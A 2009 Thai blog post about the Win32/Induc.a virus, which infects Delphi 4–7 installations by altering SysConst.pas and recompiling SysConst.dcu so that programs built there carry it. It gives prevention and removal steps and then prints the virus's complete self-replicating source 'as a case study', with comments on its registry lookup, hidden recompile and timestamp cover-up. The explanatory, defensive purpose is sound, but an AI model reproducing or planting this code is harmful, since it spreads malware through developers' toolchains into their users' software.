TRAG00L 的个人资料กลุ่มเครือข่าย "รายงานแล...照片日志列表更多 ![]() | 帮助 |
|
|
8月20日 ไวรัส Delphi ( Win32.induc.a ) & Easy ProtectionWin32/induc.a / induc = include file , include complie (รุ่นที่ได้รับผลกระทบ Delphi v.4-7)
Update: 25/08/09
วีธีป้องกันไวรัสตัวนี้แบบง่ายๆ ( Win32.induc.a Easy Protection )
- คัดลอกไฟล์ C:\Program Files\Borland\Delphi7\Source\Rtl\Sys\SysConst.pas ไปไว้โฟลเดอร์ C:\Program Files\Borland\Delphi7\Lib\
- จากนั้นคลิกขวาที่ไฟล์ SysConst.pas เลือก Properties ติ๊กเช็ค Read-only และ Hidden คลิก OK เรียบร้อย
- โปรแกรมที่ติดไวรัสตัวนี้จึงรันไม่ได้ หลุดจบโพรเซสไปเลยอิอิ มันหลุดบรรทัดนี้
assignfile(f2,d+'pas'); //มีไฟล์อยู่แล้วแต่ถูกเซ็ตให้อ่านอย่างเดียว จึง assignfile เพื่อจะสร้างและเขียนไม่ได้
rewrite(f2); //หลุด จบโพรเซส - OK นะเวิร์ค
Update: 23/08/09 ว่าจะอัพเมื่อวานละดันหลับซะก่อน - -" หลายคนอาจสงสัยว่าไวรัสตัวนี้มาได้ยังไง? มาทางไหน? หลักๆน่าจะมาจาก โปรแกรมแคร็ก รวมถึงเว็บมันด้วยครับที่สร้างกับดัก ให้ผู้ใช้บริการเสี่ยงเองต่างๆนาๆ, เว็บโป้ หุหุ, และรวมถึงโปรแกรมทุกประเภทที่คอพไพล์ด้วย Delphi v.4-7 ที่ติดไวรัสตัวนี้ก่อนหน้าโดยไม่รู้ตัว เลยช่วยแพร่กระจายไวรัสตัวนี้ไปด้วย ไวรัสตัวนี้เลยแพร่กระจายได้เร็วมากพอสมควร เป็นอีกทริคหนึ่งที่ฝากเตือนไว้ได้เป็นอย่างดี ทริคนี้รวมไปถึงภาษาโปรแกรมอื่นๆด้วยนะครับ.
ซอร์สของไวรัสที่แนบเข้าไฟล์ SysConst.dcu มันไม่มีพิษมีภัยอะไรแต่มันก่อกวน ( ว่างๆจะเขียนตัวฆ่าเซื้อให้ แหะๆ )
วิธีแก้ไขเบื้องต้น ชัวร์ๆหน่อย (ต้องแน่ใจแล้วนะว่าได้ล้างไฟล์ที่ติดเชื้อไฟล์อื่นๆ ออกไปหมดแล้ว หา Kaspersky (KIS) มาฆ่าเซื้อคับ มีตัวทดลองใช้ 30 วันฟรี)
- ลบไฟล์ C:\Program Files\Borland\Delphi7\Lib\SysConst.dcu
- คัดลอกไฟล์ C:\Program Files\Borland\Delphi7\Source\Rtl\Sys\SysConst.pas ไปไว้โฟลเดอร์ C:\Program Files\Borland\Delphi7\Lib\ ให้เดลไฟล์คอมไพล์มันใหม่จะดีกว่า
//ซอร์สไวรัส (กรณีศึกษานะ)
uses windows;
var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(', 'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]', '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;', 'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin', 'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle', '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile', '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while', 'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0', 'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2', ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,', 'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$', ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.', 'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,', 'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),', 'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,', '0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=', 'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,', '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of', 'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(', 'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then', 'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=', '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+', '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;', 'begin st; end.'); function x(s:string):string; var i:integer; begin for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39; result:=s; end; procedure re(s,d,e:string); //rewrite นั่นเอง var f1,f2:textfile; h:cardinal; f:STARTUPINFO; p:PROCESS_INFORMATION; b:boolean; t1,t2,t3:FILETIME; begin h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0); if h<>DWORD(-1) then begin CloseHandle(h); exit; end; {'I-}assignfile(f1,s); reset(f1); if ioresult<>0 then exit; assignfile(f2,d+'pas'); rewrite(f2); if ioresult<>0 then begin closefile(f1); exit; end; while not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos('implementation',s)<>0 then break; // แนบบรรทัดถัดมาของ implementation ในไฟล์ SysConst.pas นี่แหละ end; for h:= 1 to 1 do // เอาๆแนบไวรัสติงตองซะ writeln(f2,sc[h]); for h:= 1 to 23 do writeln(f2,''''+sc[h],''','); writeln(f2,''''+sc[24]+''');'); for h:= 2 to 24 do writeln(f2,x(sc[h])); closefile(f1); closefile(f2); {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak')); fillchar(f,sizeof(f),0); f.cb := sizeof(f); f.dwFlags := STARTF_USESHOWWINDOW; f.wShowWindow := SW_HIDE; b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p); //แนบเสร็จแล้วคอมไพล์ใหม่ SysConst.pas > SysConst.duc if b then WaitForSingleObject(p.hProcess,INFINITE); MoveFile(pchar(d+'bak'),pchar(d+'dcu')); DeleteFile(pchar(d+'pas')); h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h); h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0); if h=DWORD(-1) then exit; SetFileTime(h,@t1,@t2,@t3); // กลบๆ ร่องรอย CloseHandle(h); end; procedure st; //set config มันซะ var k:HKEY; c:array [1..255] of char; i:cardinal; r:string; v:char; begin for v:='4' to '7' do //หาเข้าไป Delphi v.4-7 if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then begin i:=255; if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin r:=''; i:=1; while c[i]<>#0 do begin r:=r+c[i]; inc(i); end; re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" '); //หาพาร์ทเดลไฟล์เจอละ จะใช้ dcc32.exe คอมไพล์ SysConst.pas มันใหม่อ่ะ end; RegCloseKey(k); end; end; begin st; end. 评论 (10)引用通告此日志的引用通告 URL 是: http://msgmixlive.spaces.live.com/blog/cns!553F522E1A7BAB05!1385.trak 引用此项的网络日志
|
|
|